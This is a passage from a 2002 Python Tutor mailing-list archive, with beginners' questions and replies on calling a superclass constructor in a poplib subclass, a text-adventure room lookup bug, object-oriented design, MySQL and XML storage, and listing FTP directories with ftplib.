if __name__ == "__main__":
    s = POP3Search("pop3.mailserver")
    print s.getwelcome()

Now my understanding is -- and I guess I'm wrong -- is that POP3Search will
inherit the attributes of POP3 so that getwelcome() when run will: Look in
the child -- since none found, look in the parent -- executes that and
returns the result.  getwelcome returns self.welcome -- self in this case
being the parent.  Since welcome isn't found in the current class
(POP3Search), find it in the parent (POP3).  Any case I'm getting an error
that its not being found:

 File "C:\PYTHON22\lib\poplib.py", line 172, in getwelcome
    return self.welcome
AttributeError: POP3Search instance has no attribute 'welcome'

</snippet>

At the moment, your subclass does not initialise the parent (poplib.POP3),
but rather it creates a new instance which is lost straight away. I stuck my
nose into poplib.py, and found out that "elf.welcome" is initialised in
__init__.
The following should work, if I'm not mistaken:

class POP3Search(poplib.POP3):
    """Create a connection to a POP3 mailserver and search for messages"""

    def __init__(self, host = "", port = 110):
        poplib.POP3.__init__(self,host, port)

HTH,
Andy

----- Original Message -----
From: Joel Ricker
To: tutor@python.org
Sent: Monday, February 25, 2002 11:02 AM
Subject: [Tutor] Inheritance Question


Ok, I've now played with rfc822 and the mime related modules to get an idea
of how things work and what direction I want to go.  To get a feel for
inheritance, I decided to make up a class called POP3Search which would
inherit from poplib.POP3 (which connects to a pop3 server and queries for
messages) with the extra features of message caching and search.

This is what I have:

import poplib

class POP3Search(poplib.POP3):
    """Create a connection to a POP3 mailserver and search for messages"""

    def __init__(self, host = "", port = 110):
        poplib.POP3(host, port)

if __name__ == "__main__":
    s = POP3Search("pop3.mailserver")
    print s.getwelcome()

Now my understanding is -- and I guess I'm wrong -- is that POP3Search will
inherit the attributes of POP3 so that getwelcome() when run will: Look in
the child -- since none found, look in the parent -- executes that and
returns the result.  getwelcome returns self.welcome -- self in this case
being the parent.  Since welcome isn't found in the current class
(POP3Search), find it in the parent (POP3).  Any case I'm getting an error
that its not being found:

 File "C:\PYTHON22\lib\poplib.py", line 172, in getwelcome
    return self.welcome
AttributeError: POP3Search instance has no attribute 'welcome'

What can I do to fix (and understand this)?
Thanks

Joel



From virketis@fas.harvard.edu  Mon Feb 25 03:33:58 2002
From: virketis@fas.harvard.edu (Pijus Virketis)
Date: Sun, 24 Feb 2002 22:33:58 -0500
Subject: [Tutor] (no subject)
References: <200202242217.AA615514360@centralcatholic.org>
Message-ID: <008e01c1bdad$42ceb740$18adf78c@virketis2>

Robert,

> As for the datbase side I have downloaded MySQL, but have as of yet to
start learning it . I am still knee deep in python tutorials
> and getting deeper. :0) I  would like to thank you for your time in
repling to my question.

You'll probably be wanting to check out the Python interface to MySQL
sometime soon: http://sourceforge.net/projects/mysql-python/. :)

Cheers,

Pijus




From garber@centralcatholic.org  Mon Feb 25 03:41:17 2002
From: garber@centralcatholic.org (Robert Garber)
Date: Sun, 24 Feb 2002 22:41:17 -0500
Subject: [Tutor] Capturing video and creating a  GUI DB w/Python
Message-ID: <200202242241.AA1139933426@centralcatholic.org>

Thank You, yes I have been here and downloaded the MySQLdb Python DB API-2.0 interface. i hope to soon be able to start learning how too appply this to the project I am working on.---------- Original Message ----------------------------------
From: "Pijus Virketis" <virketis@fas.harvard.edu>
Date: Sun, 24 Feb 2002 22:33:58 -0500

>Robert,
>
>> As for the datbase side I have downloaded MySQL, but have as of yet to
>start learning it . I am still knee deep in python tutorials
>> and getting deeper. :0) I  would like to thank you for your time in
>repling to my question.
>
>You'll probably be wanting to check out the Python interface to MySQL
>sometime soon: http://sourceforge.net/projects/mysql-python/. :)
>
>Cheers,
>
>Pijus
>
>
>


From joejava@dragoncat.net  Mon Feb 25 03:55:47 2002
From: joejava@dragoncat.net (Joel Ricker)
Date: Sun, 24 Feb 2002 22:55:47 -0500
Subject: [Tutor] Inheritance Question   [calling a superclass's constructor]
References: <Pine.LNX.4.21.0202241907500.6632-100000@hkn.eecs.berkeley.edu>
Message-ID: <002f01c1bdb0$50856de0$68804cd8@x9k7y2>

From: Danny Yoo <dyoo@hkn.eecs.berkeley.edu>

> > class POP3Search(poplib.POP3):
> >     """Create a connection to a POP3 mailserver and search for
messages"""
> >
> >     def __init__(self, host = "", port = 110):
> >         poplib.POP3(host, port)
>
> Ah!  I see that you're trying to call the constructor of the superclass.
> Try:
>
> ###
> def __init__(self, host = "", port = 110):
>     poplib.POP3.__init__(self, host, port)
> ###

Aha. See that now.  Wow, everyone jumped on that one in a hurry :)

Thanks again,
Joel




From cheshire_cat_sf@yahoo.com  Mon Feb 25 04:42:34 2002
From: cheshire_cat_sf@yahoo.com (Britt Green)
Date: Sun, 24 Feb 2002 20:42:34 -0800 (PST)
Subject: [Tutor] (no subject)
In-Reply-To: <E16fBkB-0008Dn-00@mail.python.org>
Message-ID: <20020225044234.5766.qmail@web14108.mail.yahoo.com>

Can anyone tell me why I get this error on the following code, and what
a good solution for it would be?

>>> 
--> e
You are in the foyer
--> w
Traceback (most recent call last):
  File "C:/WINNT/Profiles/bgreen/Desktop/kode/fourth.py", line 37, in ?
    if playerLoc.exits.has_key(command[0]):
AttributeError: 'str' object has no attribute 'exits'

>>> 

import string

class Room:
    def __init__(self, name, exits):
        self.name = name
        self.exits = exits
        self.items = []

    def __str__(self):
        return self.name

porch = Room('porch', {'e':'foyer'})
foyer = Room('foyer', {'w':'porch', 'e':'dining room'})
dining = Room('dining room', {'w':'foyer'})

commands = ['n','s','e','w']
playerLoc = porch

while 1:
    command = string.split(raw_input('--> '))
    if command[0] in commands:
        if playerLoc.exits.has_key(command[0]):
            playerLoc = playerLoc.exits.get(command[0])
            print "You are in the", playerLoc

=====
"The ocean, she is strange and wondrous, filled with animals that disturb even a Frenchman."

__________________________________________________
Do You Yahoo!?
Yahoo! Sports - Coverage of the 2002 Olympic Games
http://sports.yahoo.com


From urnerk@qwest.net  Mon Feb 25 05:09:23 2002
From: urnerk@qwest.net (Kirby Urner)
Date: Sun, 24 Feb 2002 21:09:23 -0800
Subject: [Tutor] (no subject)
In-Reply-To: <20020225044234.5766.qmail@web14108.mail.yahoo.com>
References: <E16fBkB-0008Dn-00@mail.python.org>
Message-ID: <4.2.0.58.20020224210418.00d25830@pop3.norton.antivirus>

>
>while 1:
>     command = string.split(raw_input('--> '))
>     if command[0] in commands:
>         if playerLoc.exits.has_key(command[0]):
>             playerLoc = playerLoc.exits.get(command[0])
              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^

This line is resetting playerLoc to the name of the
room, not to an actual room object.  So next time
through the loop, playerLoc has no attribute 'exits'.

You could store all your rooms in a dictionary, by
name, thereby making it easier to lookup the object you
need when the user hits a control key, e.g.:

rooms  = {"porch" : Room('porch', {'e':'foyer'}),
           "foyer" : Room('foyer', {'w':'porch', 'e':'dining room'}),
           "dining room" : Room('dining room', {'w':'foyer'})
          }

commands = ['n','s','e','w']
playerLoc = rooms["porch"]

print "You are in the", playerLoc
while 1:
     command = string.split(raw_input('--> '))
     if command[0] in commands:
         if playerLoc.exits.has_key(command[0]):
             playerLoc = rooms[playerLoc.exits.get(command[0])]
             print "You are in the", playerLoc


==========
Testing:

 >>> reload(test2)
You are in the porch
--> w
--> e
You are in the foyer
--> e
You are in the dining room
--> e
--> w
You are in the foyer

and so on.

Kirby



From paulsid@shaw.ca  Mon Feb 25 05:11:25 2002
From: paulsid@shaw.ca (Paul Sidorsky)
Date: Sun, 24 Feb 2002 22:11:25 -0700
Subject: [Tutor] AttributeError
References: <20020225044234.5766.qmail@web14108.mail.yahoo.com>
Message-ID: <3C79C77D.AA700CC@shaw.ca>

Britt Green wrote:

> Can anyone tell me why I get this error on the following code, and what
> a good solution for it would be?

>             playerLoc = playerLoc.exits.get(command[0])

This is the offending line.  playerLoc is supposed to be a Room object,
but here you're assigning it a string.

The "quick fix" solution is to just put eval() around that as follows:
             playerLoc = eval(playerLoc.exits.get(command[0]))

This works (I tested it) except that you can't use names with spaces or
operators in there.  (Your "dining room" example will fail if not
renamed.)  However, what the above actually does is it "runs" the name
of the room which will return the actual variable name, and it's a nasty
idea to muck about in your program's namespace when you don't have to.

A better idea would be to put all your Room objects in another
dictionary, with the key being the room name.  Kind of like this:

rooms = {}
rooms["foyer"] = Room(...)

Then playerLoc can store a string and use it to key that dictionary to
find the right room.  Since you already seem to have a handle on
dictionaries it shouldn't be too hard to make the modifications.


BTW, on a semi-related note, I just can't help giving a plug to the
Inform language which is designed specifically for text adventures:

http://www.gnelson.demon.co.uk/inform.html

Inform actually has a very Pythonic feel to its syntax (IMO), although
it is structured quite differently and is not a general purpose
language.

Obviously this won't help you if you're writing a text adventure for the
purpose of learning Python, but I just wanted to mention it in case
anybody's interested because I think it's a neat language.

-- 
======================================================================
Paul Sidorsky                                          Calgary, Canada
paulsid@shaw.ca                        http://members.shaw.ca/paulsid/


From dyoo@hkn.eecs.berkeley.edu  Mon Feb 25 05:13:20 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Sun, 24 Feb 2002 21:13:20 -0800 (PST)
Subject: [Tutor] (no subject)
In-Reply-To: <20020225044234.5766.qmail@web14108.mail.yahoo.com>
Message-ID: <Pine.LNX.4.21.0202242105030.9247-100000@hkn.eecs.berkeley.edu>

On Sun, 24 Feb 2002, Britt Green wrote:

> Can anyone tell me why I get this error on the following code, and what
> a good solution for it would be?
> 
> >>> 
> --> e
> You are in the foyer
> --> w
> Traceback (most recent call last):
>   File "C:/WINNT/Profiles/bgreen/Desktop/kode/fourth.py", line 37, in ?
>     if playerLoc.exits.has_key(command[0]):
> AttributeError: 'str' object has no attribute 'exits'
> 

I'm guessing that 'playerLoc' is a Room:


> class Room:
>     def __init__(self, name, exits):
>         self.name = name
>         self.exits = exits
>         self.items = []
> 
>     def __str__(self):
>         return self.name
> 
> porch = Room('porch', {'e':'foyer'})
> foyer = Room('foyer', {'w':'porch', 'e':'dining room'})
> dining = Room('dining room', {'w':'foyer'})


When we try to look at the exits of a romm, like the porch, we'll find
that we get:

###
>>> porch.exits
{'e': 'foyer'}
>>> foyer
<__main__.Room instance at 0x814d72c>
###

So there's a difference between 'foyer' and the foyer room --- we actually
need to the the room instance whose name is 'foyer', and we need to make
that distinction.


Here's one way to approach the problem: We can make a dictionary of all
the rooms, so that once we have the name of an exit, we can get that exit
room.

###
all_rooms = {}
for name, room in [('porch', porch),
                   ('foyer', foyer),
                   ('dining', dining)]:
    all_rooms[name] = room
###


Hope this helps!



From slime@vsnl.net  Sun Feb 24 16:17:16 2002
From: slime@vsnl.net (Prahlad Vaidyanathan)
Date: Sun, 24 Feb 2002 21:47:16 +0530
Subject: [Tutor] Re: Working with Email question
In-Reply-To: <007201c1bcab$574bcee0$0ba3d6d1@x9k7y2>
References: <007201c1bcab$574bcee0$0ba3d6d1@x9k7y2>
Message-ID: <20020224161716.GA276@marvin.localdomain>

Hi,

This is my first post in a long time, so Hi everyone.

On Sat, 23 Feb 2002 Joel Ricker spewed into the ether:
> As a warmup excercise to get back into the swing of things, I want to write a spam filter.  I'm pretty liberal with my e-mail address, which is great because people can find me but the drawback is of course that so can all the spammers in the world :(

Well, there is procmail ... but not many people like it.

Currently, my setup goes as follows :

getmail -> procmail -> folders

procmail does all the spam filtering. but, getmail doesn't retrieve
messages above a defined limit, so i just cooked up a patch to retrieve
the headers (using TOP) of such messages. these headers are dumped into
a separate folder. i quickly review them, and run a small script to run
a "shell" on my POP server. I then delete the offending messages.

This seems pretty effective for me.

</my 2 cents>

pv.
-- 
Prahlad Vaidyanathan  <http://www.symonds.net/~prahladv/>

"Oh, I've seen copies [of Linux Journal] around the terminal room at The
Labs."
(By Dennis Ritchie)



From slime@vsnl.net  Sun Feb 24 17:29:55 2002
From: slime@vsnl.net (Prahlad Vaidyanathan)
Date: Sun, 24 Feb 2002 22:59:55 +0530
Subject: [Tutor] OO approach
Message-ID: <20020224172955.GA653@marvin.localdomain>

Hi,

I recently wrote a script to extract the urls in the news emails sent by
'The Register', and mail them to me. Initially, I just had functions to
do the following :

- read the file, and extract the urls matching a regex
- get the urls
- mail the urls to me with the description in the subject line

But, I soon realised I could do this to extract the URLs from the 'Linux
Journal' weekly announcements as well. So I made a class called
'mailURL', and added sub-classes for 'Register' and 'LJNews'.

I have now extended this script to include the 'Linux Weekly News',
'Kernel Traffic', and the 'LDP' news urls. What I noticed was, everytime
I added a sub-class, I would notice something missing or something
specific to 'Register' lying the the base 'mailURL' class.

So I ended up going back and re-writing the mailURL class over and over
again, everytime I added a sub-class. This defeats the purpose of using
inheritance (I could simply write 10 different classes completely
unrelated). So, what I want to ask you all is :

- How do I make a minimalistic base class (not just in this situation,
  but any task), and yet make it useful enough for the sub-classes.

I am trying to learn programming, and have started learning python as it
is very readable compared to the other languages, and also high-level. I
am enjoying it, but am having trouble grasping these fundamental
concepts of the object-oriented approach. I hope you can help out (and I
hope I've been clear enough).

pv.
-- 
Prahlad Vaidyanathan  <http://www.symonds.net/~prahladv/>

No amount of genius can overcome a preoccupation with detail.



From karthikg@aztec.soft.net  Mon Feb 25 09:09:25 2002
From: karthikg@aztec.soft.net (Karthik Gurumurthy)
Date: Mon, 25 Feb 2002 14:39:25 +0530
Subject: [Tutor] OO approach
In-Reply-To: <20020224172955.GA653@marvin.localdomain>
Message-ID: <NEBBJNMDEKBIBCMCNMBDKEKDDDAA.karthikg@aztec.soft.net>

> So I ended up going back and re-writing the mailURL class over and over
> again, everytime I added a sub-class. This defeats the purpose of using
> inheritance (I could simply write 10 different classes completely
> unrelated). So, what I want to ask you all is :

> - How do I make a minimalistic base class (not just in this situation,
>   but any task), and yet make it useful enough for the sub-classes.

I can relate to your problem very well!
Wasn't there anything at all that was common to all the approaches ( i mean
subclasses)?
Did you try refactoring the common parts? One simple way could be to move
all the common things up the base class.
Infact i guess, refactoring says that you start off writing such separate
classes and then move all the common parts
up the tree to the base class. I understand this is more like approaching
the problem from the other end though!

karthik






From erikprice@mac.com  Mon Feb 25 13:18:35 2002
From: erikprice@mac.com (Erik Price)
Date: Mon, 25 Feb 2002 08:18:35 -0500
Subject: [Tutor] Creating and storing objects from a GUI...
In-Reply-To: <AF020C5FC551DD43A4958A679EA16A15017B3F8F@abbott.lith.com>
Message-ID: <2C610912-29F2-11D6-95E1-00039351FE6A@mac.com>

On Thursday, February 21, 2002, at 11:00  AM, Israel Evans wrote:

> I was thinking SQL would be nice, but due to my ignorance, databases, 
> still
> feel a little like a black box to me.  I'll have to do a little more
> research into them.

Pick up MySQL and set it up on a Linux box if you can, after a few days 
of playing it will feel like an old friend.  The MySQL mailing list is 
also very helpful.  You can take it further and learn all of the 
advanced SQL queries too if you want.

> What's your opinion on the mixing of XML and RDBMS?  Would data stored 
> in a
> Database be saved in table/cell format and then extracted to an XML 
> format
> through XSLT in order to be displayed elsewhere, or would the database 
> store
> the data already in XML?  I like the promised flexibility of XML but 
> WOW,
> the multitudes of specifications and formats and so on is overwhelming!
> Would you in your right mind mingle XML and an RDBMS?

Keep in mind that RDBMS and XML are fundamentally dissimilar storage 
formats.  The strengths of one are negated by the other.  I'm just 
learninga bout this myself, so I don't know everything -- but the point 
of a RDBMS is to have a relational, normalized structure that can be 
searched based on arbitrary relationships between objects, so that the 
database is not dependent on trees (tree-style databases are always 
under development but cannot match the speed of a RDBMS when they to a 
certain size).  XML's strength (in terms of information storage) is in 
its hierarchical, tree-like storage structure.  So they're really not 
very complementary technologies.

This is too bad, since I have easy access to a MySQL server and want to 
play with Python and XML myself!  But it doesn't mean you can't try to 
find a clever way to work around this.  For instance, if your XML 
documents are not terribly deep, you could just use MySQL's data storage 
abilities and do exactly what you have suggested.  It's only with large 
applications that you need to consider whether or not a RDBMS can help 
you.  I'm not sure what the intendede application is for your wife's 
dance studio, but maybe storing flat XML files will be more 
appropriate.  Is speedy searching for data something that you will need 
to do?  You could store the filenames in a database, if you knew that 
the data was in a particular file, or you could store attributes of 
files into a database and use a RDBMS to do searches and then the 
results could point to the file's name or location.  In this fashion, 
you wouldn't really be storing the actual data you want in the database, 
just meta-data.

Please post your discoveries, if you pursue the RDBMS + XML.  I found 
the following links to be somewhat helpful:

http://www.xml.com/pub/a/2001/10/24/follow-yr-nose.html
http://www.dbxml.com/FAQ.xml
http://www.xmldb.org/faqs.html



From scarblac@pino.selwerd.nl  Mon Feb 25 13:33:32 2002
From: scarblac@pino.selwerd.nl (Remco Gerlich)
Date: Mon, 25 Feb 2002 14:33:32 +0100
Subject: [Tutor] Re: Print ogre
In-Reply-To: <132109865093-BeMail@gormenghast>; from charlie@begeistert.org on Fri, Feb 22, 2002 at 06:30:42AM -0500
References: <132109865093-BeMail@gormenghast>
Message-ID: <20020225143332.A16413@pino.selwerd.nl>

On  0, Charlie Clark <charlie@begeistert.org> wrote:
> >| Where else does ">>" occur in Python?
> >
> >Right shift.
> ..
> >It is a bitwise operator.  aa is 10101010 in binary.  Right shift it
> >one place and you get 01010101 which in hex is 55.  Shift it two
> >places and you get 00101010 which is 2a in hex.
> 
> In other words there is no overlap between the two uses. ">>" doesn't 
> have a generic meaning or use making reusable in different contexts. A 
> good reason for removing it in print >> as a way to remove a possible 
> source of confusion.

Quite the opposite, IMO - the two uses have nothing to do with each other
and therefore won't be a source of confusion.

-- 
Remco Gerlich


From joejava@dragoncat.net  Mon Feb 25 14:15:10 2002
From: joejava@dragoncat.net (Joel Ricker)
Date: Mon, 25 Feb 2002 09:15:10 -0500
Subject: [Tutor] Working with Email question  [new 'email' module in Python 2.2]
References: <Pine.LNX.4.21.0202231312380.666-100000@hkn.eecs.berkeley.edu> <LNBBLJKPBEHFEDALKOLCIENHNOAA.tim.one@comcast.net> <6AD3F866286@kserver.org>
Message-ID: <002301c1be06$d79482c0$0ca2d6d1@x9k7y2>

From: Sheila King <usenet@thinkspot.net>
>  Great. *BUT* in order
> to get around this problem with the email module, I'm currently
> capturing the stdin as a string, then attempting to instantiate an
> instance of an email object, and if that fails, then I resort to parsing
> with the rfc822 module. I've been considering re-writing the whole thing
> without the email module and just using rfc822 and multifile/mimetools.
> This method I'm using now uses too much memory, but if I don't do it
> this way, and the instantiation of the email object fails, then I've
> already consumed the stdin input and have no way to get that email any
> more (it is lost).

My problem is I don't have the email module yet.  I use Activestate's builds
for my Python distribution and currently they have an Alpha edition of 2.2
which I'm using.  2.1 is the last stable release that they've come out with.
My version of Python doesn't have the email module so I'm actually resorting
to what you were thinking of Shiela, writing my own Email module, inheriting
the properties of rfc822 and multifile/mimetools.  So far its working pretty
good.  I'll keep everyone posted.

Joel




From printers@sendme.cz  Mon Feb 25 15:51:45 2002
From: printers@sendme.cz (A)
Date: Mon, 25 Feb 2002 16:51:45 +0100
Subject: [Tutor] Is it possible in Python too?
Message-ID: <3C7A6BA1.26999.19EEC27@localhost>

Hi,
Is possible to set up a proxy name (address) in MS Explorer 
browser from a running  Python program?
Thank you for your help.
Ladislav





From printers@sendme.cz  Mon Feb 25 08:34:22 2002
From: printers@sendme.cz (A)
Date: Mon, 25 Feb 2002 09:34:22 +0100
Subject: [Tutor] Is it possible in Python too?
Message-ID: <3C7A051E.2606.E6EC3@localhost>

Hi,
Is possible to set up a proxy name (address) in MS Explorer 
browser from a running  Python program?
Thank you for your help.
Ladislav





From printers@sendme.cz  Sat Feb 23 10:21:02 2002
From: printers@sendme.cz (A)
Date: Sat, 23 Feb 2002 11:21:02 +0100
Subject: [Tutor] Is it possible in Python too?
Message-ID: <3C777B1E.12123.87FDB7@localhost>


Hi,
Is possible to set up a proxy name (address) in MS Explorer 
browser from a running  Python program?
Thank you for your help.
Ladislav





From aschmidt@nv.cc.va.us  Mon Feb 25 17:05:30 2002
From: aschmidt@nv.cc.va.us (Schmidt, Allen J.)
Date: Mon, 25 Feb 2002 12:05:30 -0500
Subject: [Tutor] GENERAL outline of how to do this in Python needed...
Message-ID: <5CDFEBB60E7FD311B9E30000F6D6090608CB8FA8@novamail2.nv.cc.va.us>

I have a ZIP file made available to me on an FTP server. I need this file
FTPd to my server, unzipped (password protected), renamed and then another
(working) python script invoked to break it apart and dump it into MySQL. I
guess the zip parts could just be added to the working script...

Is this something relatively simple to do? The destination platform is
Linux. Does that make a difference??

Suggestions appreciated. I am just looking for the basics on the best ways
to handle this...not the exact procedure...

Thanks

Allen


From SWidney@ci.las-vegas.nv.us  Mon Feb 25 17:33:15 2002
From: SWidney@ci.las-vegas.nv.us (Scott Widney)
Date: Mon, 25 Feb 2002 09:33:15 -0800
Subject: [Tutor] unrelated bug issue
Message-ID: <D4EB5574F4A7D2119C9E00A0C9EA408D059F59AE@SOVEREIGN>

> From: Tim Peters
> 
> I got a better one:  suppose you shoved a banana down your 
> throat, then a carrot in each nostril.  Would it then be 
> the banana's or the carrots' fault that you couldn't breathe
> anymore? That's right:  it would be the carrots', because
> you didn't have any trouble breathing before they wound 
> up in your nose.  Or maybe it was the banana's fault after 
> all, since if it weren't there, the carrots' presence 
> wouldn't matter.  It's a puzzler.  Just so long as it's
> clear that it's never ever your fault <wink>.

Tim, you're missing the point. What he said is that even after he removed
the carrots from his nostrils, he still couldn't breathe. So either the
carrots were not completely removed, or it's the banana's fault. He did the
right thing in looking for carrot residue before removing the banana. He
should be commended for his insight....


From kp87@lycos.com  Mon Feb 25 17:40:45 2002
From: kp87@lycos.com (kevin parks)
Date: Tue, 26 Feb 2002 02:40:45 +0900
Subject: [Tutor] Iterators and generators for the masses
Message-ID: <APJMOLJEPMLPEBAA@mailcity.com>

A note in my Python 2.2 folder says that:

Iterators (PEP 234) and generators (PEP 255) were added.

When I ask questions on the tutor list and also this list i get answers that sometimes start:

...We can do this with Python's new generators...
...Python's new iterators make this easy...

Numerous searches turned up many complex PEPs, rewritten PEPs and 
wild drag-down knock out USENET geek fights over whether or not these were
good and should be added to Python. Nothing I could make heads or tails of.

Myself I am just getting used to seeing list comprehensions...

1> any chance that there will be tutorials on these important new features added to www.python.org?(a *real* tutorial on list comprehensions would be nice too, but at least there is documentation on them on www.python.org)

2> Anyone up to explaining them here? (hopefully in a way that someone other than Tim Peters and Guido understands! Insult me if you must -- talk to me like I am a 12 year old! Why? Because there are 12 year olds out there learning Python and those of us with the math/science/programming chops of a 12 year old who are also trying to understand this stuff).

what do they do? what can they do, what tasks do they make easier, what is the simplest possible example, what is a more complex example...etc. & co.

cheers,
kevin parks
seoul, korea

ps. I originally posted this query on c.l.p, but i probably should have posted in here instead, so i am now sending it here too. Sorry to do that, i ordinarily don't cross-post the same query.

pps. I saw in one thread there where Tim Peters writes: "I'm afraid PEPs aren't tutorials." Which pretty much sums up this question, eh!?






From james2dope@yahoo.com  Mon Feb 25 18:39:25 2002
From: james2dope@yahoo.com (james middendorff)
Date: Mon, 25 Feb 2002 10:39:25 -0800 (PST)
Subject: [Tutor] ftp stuff
Message-ID: <20020225183925.80393.qmail@web13901.mail.yahoo.com>

--0-742176530-1014662365=:80242
Content-Type: text/plain; charset=us-ascii


Hello,

I am trying to build a program that will connect to a ftp server i.e. ftp://ftp.slackware.com and then change to a certain directory i.e. /pub/slackware/slackware-current, which I have gotten all of that to work, but when I get to that directory I want to do a LIST command, which I cannot get to work, is there something that I am overlooking, also I want this to go into all directories of slackware-current and download certain files, how can I make itgo into these directories download something, and then go to the next one?

I hope I have explained myself well enough thanks for any help

james


"I would kill everyone in this room
    for a drop of sweet beer."
     ----Homer Simpson----


---------------------------------
Do You Yahoo!?
Yahoo! Sports - Coverage of the 2002 Olympic Games
--0-742176530-1014662365=:80242
Content-Type: text/html; charset=us-ascii

<P>Hello,</P>
<P>I am trying to build a program that will connect to a ftp server i.e. <A href="ftp://ftp.slackware.com">ftp://ftp.slackware.com</A> and then change to&nbsp;a certain directory i.e. /pub/slackware/slackware-current, which I have gotten all of that to work, but when I get to that directory I want to do a LIST command, which I cannot get to work, is there something that I am overlooking, also I want this to go into all directories of slackware-current and download certain files, how can I make itgo into these directories download something, and then go to the next one?</P>
<P>I hope I have explained myself well enough thanks for any help</P>
<P>james</P><BR><BR>"I would kill everyone in this room<br>    for a drop of sweet beer."<br>     ----Homer Simpson----<p><br><hr size=1><b>Do You Yahoo!?</b><br>
<a href="http://sports.yahoo.com/oly">Yahoo! Sports</a> - Coverage of the 2002 Olympic Games
--0-742176530-1014662365=:80242--


From dyoo@hkn.eecs.berkeley.edu  Mon Feb 25 18:42:10 2002
From: dyoo@hkn.eecs.berkeley.edu (Danny Yoo)
Date: Mon, 25 Feb 2002 10:42:10 -0800 (PST)
Subject: [Tutor] OO approach
In-Reply-To: <20020224172955.GA653@marvin.localdomain>
Message-ID: <Pine.LNX.4.21.0202251039520.24905-100000@hkn.eecs.berkeley.edu>

On Sun, 24 Feb 2002, Prahlad Vaidyanathan wrote:

> I recently wrote a script to extract the urls in the news emails sent by
> 'The Register', and mail them to me. Initially, I just had functions to
> do the following :
> 
> - read the file, and extract the urls matching a regex
> - get the urls
> - mail the urls to me with the description in the subject line
> 
> But, I soon realised I could do this to extract the URLs from the 'Linux
> Journal' weekly announcements as well. So I made a class called
> 'mailURL', and added sub-classes for 'Register' and 'LJNews'.


Can you show us the mailURL base class?  Perhaps it's possible to avoid
inheritance altogether by making the parent class general enough to handle
all cases.


Talk to you later!



From deirdre@deirdre.net  Mon Feb 25 18:56:01 2002
From: deirdre@deirdre.net (Deirdre Saoirse Moen)
Date: Mon, 25 Feb 2002 10:56:01 -0800
Subject: [Tutor] ftp stuff
In-Reply-To: <20020225183925.80393.qmail@web13901.mail.yahoo.com>
References: <20020225183925.80393.qmail@web13901.mail.yahoo.com>
Message-ID: <a0510100db8a037fe3146@[10.0.1.30]>

--============_-1197459131==_ma============
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

At 10:39 AM -0800 2/25/02, james middendorff wrote:
>I am trying to build a program that will connect to a ftp server 
>i.e. <ftp://ftp.slackware.com>ftp://ftp.slackware.com and then 
>change to a certain directory i.e. /pub/slackware/slackware-current, 
>which I have gotten all of that to work, but when I get to that 
>directory I want to do a LIST command, which I cannot get to work, 
>is there something that I am overlooking, also I want this to go 
>into all directories of slackware-current and download certain 
>files, how can I make itgo into these directories download 
>something, and then go to the next one?

See: http://www.wu-ftpd.org/rfc/rfc0959.txt

Likely you've forgotten (or didn't know) that ftp requires TWO 
network connections, one for the control, one for the data. The reply 
for the LIST command, iirc, comes back on the data connection.
-- 
_Deirdre   *    http://deirdre.net   "The evening news only spoils
the morning paper."     -- Anne Lamott
--============_-1197459131==_ma============
Content-Type: text/html; charset="us-ascii"

<!doctype html public "-//W3C//DTD W3 HTML//EN">
<html><head><style type="text/css"><!--
blockquote, dl, ul, ol, li { padding-top: 0 ; padding-bottom: 0 }
 --></style><title>Re: [Tutor] ftp stuff</title></head><body>
<div>At 10:39 AM -0800 2/25/02, james middendorff wrote:</div>
<blockquote type="cite" cite>I am trying to build a program that will
connect to a ftp server i.e. <a
href="ftp://ftp.slackware.com">ftp://ftp.slackware.com</a> and then
change to&nbsp;a certain directory i.e.
/pub/slackware/slackware-current, which I have gotten all of that to
work, but when I get to that directory I want to do a LIST command,
which I cannot get to work, is there something that I am overlooking,
also I want this to go into all directories of slackware-current and
download certain files, how can I make itgo into these directories
download something, and then go to the next one?</blockquote>
<div><br></div>
<div>See: http://www.wu-ftpd.org/rfc/rfc0959.txt</div>
<div><br></div>
<div>Likely you've forgotten (or didn't know) that ftp requires TWO
network connections, one for the control, one for the data. The reply
for the LIST command, iirc, comes back on the data connection.</div>
<x-sigsep><pre>-- 
</pre></x-sigsep>
<div>_Deirdre&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;
http://deirdre.net&nbsp;&nbsp; &quot;The evening news only spoils<br>
the morning paper.&quot;&nbsp;&nbsp;&nbsp;&nbsp; -- Anne Lamott</div>
</body>
</html>
--============_-1197459131==_ma============--


From ak@silmarill.org  Mon Feb 25 19:04:39 2002
From: ak@silmarill.org (Andrei Kulakov)
Date: Mon, 25 Feb 2002 14:04:39 -0500
Subject: [Tutor] ftp stuff
In-Reply-To: <20020225183925.80393.qmail@web13901.mail.yahoo.com>
References: <20020225183925.80393.qmail@web13901.mail.yahoo.com>
Message-ID: <20020225190439.GA13805@ak.silmarill.org>

On Mon, Feb 25, 2002 at 10:39:25AM -0800, james middendorff wrote:
> 
> Hello,
> 
> I am trying to build a program that will connect to a ftp server i.e. ftp://ftp.slackware.com and then change to a certain directory i.e. /pub/slackware/slackware-current, which I have gotten all of that to work, but when I get to that directory I want to do a LIST command, which I cannot get to work, is there something that I am overlooking, also I want this to go into all directories of slackware-current and download certain files, how can I make itgo into these directories download something, and then go to the next one?

def process(line):
    [ process line ]

conn.retrlines("LIST", process)

conn is your connection instance.

If I remember right, the last line will repeatedly call process function
with lines that it gets from LIST, one line at a time.

This looks a bit unusual but I think the idea is that if the listing is
large and connection is slow, you want to get one line and process it
and then get another line, because it'd be slower to wait till you get
all lines and then wait till you process them..


> 
> I hope I have explained myself well enough thanks for any help
> 
> james
> 
> 
> "I would kill everyone in this room
>     for a drop of sweet beer."
>      ----Homer Simpson----
> 
> 
> ---------------------------------
> Do You Yahoo!?
> Yahoo! Sports - Coverage of the 2002 Olympic Games

-- 
Cymbaline: intelligent learning mp3 player - python, linux, console.
get it at: cy.silmarill.org


From miracle@paradise.net.nz  Mon Feb 25 19:54:05 2002
From: miracle@paradise.net.nz (Matthew Sherborne)
Date: Tue, 26 Feb 2002 08:54:05 +1300
Subject: [Tutor] Re: Is it possible in Python too?
References: <3C7A6BA1.26999.19EEC27@localhost>
Message-ID: <001e01c1be36$2f740a90$08020196@Jonah>

Yes but I don't know how.

Tell me how to do it in another language, and I'll tell you how in python ;)

GBU
Matthew
----- Original Message -----
From: "A" <printers@sendme.cz>
To: <python-list@python.org>; <tutor@python.org>;
<activepython@listserv.ActiveState.com>; <python-help@python.org>
Sent: Tuesday, February 26, 2002 4:51 AM
Subject: Is it possible in Python too?


>
> Hi,
